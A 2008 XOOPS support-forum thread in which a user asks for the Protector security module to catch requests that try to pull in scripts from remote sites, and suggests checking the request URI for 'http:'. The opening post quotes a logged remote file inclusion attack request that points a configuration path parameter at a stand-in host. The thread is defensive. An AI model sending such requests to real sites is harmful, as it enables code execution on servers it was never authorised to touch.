1
peterr
Protector - feature request
  • 2008/5/9 12:09

  • peterr

  • Just can't stay away

  • Posts: 518

  • Since: 2004/8/5 9


Have been using Protector for a while, and would like to see it "trap" any HTTP request, that is obviously trying to parse a script from a remote site. These do not always result in a 403 or a 404 either, depending upon server security and configuration.

The type of requests are of the format:

Quote:

208.113.196.15 - - [09/May/2008:04:54:57 +1000] "GET /modules/xhld0/index.php?_REQUEST=&_REQUEST%5boption%5d=com_zoom&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://example.com/modules/test.txt??? HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0"


(domain name of remote url changed in the above, for obvious reasons).

returns a 302, and often other attempts at remote script parsing, return a 200, so XOOPS thinks that "all is well", despite the fact that Protector is installed.

I don't think the 'blanket approach' of setting "allow_url_fopen" value to off is suitable for all sites. Turning this option off is recommended when using Protector, however server setup/config., and especially PHP version, has a bearing on whether or not this setting should really be off.

See these discussions:

http://foundationphp.com/phpsolutions/updates.php
http://www.webmasterworld.com/forum88/10940.htm

Determining if the string 'http' was being parsed, could be something like ..

$pos strpos(strtolower($_SERVER['REQUEST_URI']), 'http:');


As the version of PHP has some bearing on the need to have the setting "allow_url_fopen" value to off, the PHP function phpversion() could be utilised.

My 0.001 cents worth anyway.
NO to the Microsoft Office format as an ISO standard.
Sign the petition

2
Anonymous
Re: Protector - feature request
  • 2008/5/9 12:24

  • Anonymous

  • Posts: 0

  • Since:


I doubt that GiJoe, the module's author, will see this.

Might be best posting this on his own site's Forums:
http://xoops.peak.ne.jp/

3
peterr
Re: Protector - feature request
  • 2008/5/9 12:42

  • peterr

  • Just can't stay away

  • Posts: 518

  • Since: 2004/8/5 9


Thanks, I have PM'd the author of the Protector documentation, who seems to be a regular poster on the Peak website.
NO to the Microsoft Office format as an ISO standard.
Sign the petition

Login

Who's Online

97 user(s) are online (39 user(s) are browsing Support Forums)


Members: 0


Guests: 97


more...

Donat-O-Meter

Stats
Goal: $100.00
Due Date: May 31
Gross Amount: $0.00
Net Balance: $0.00
Left to go: $100.00
Make donations with PayPal!

Latest GitHub Commits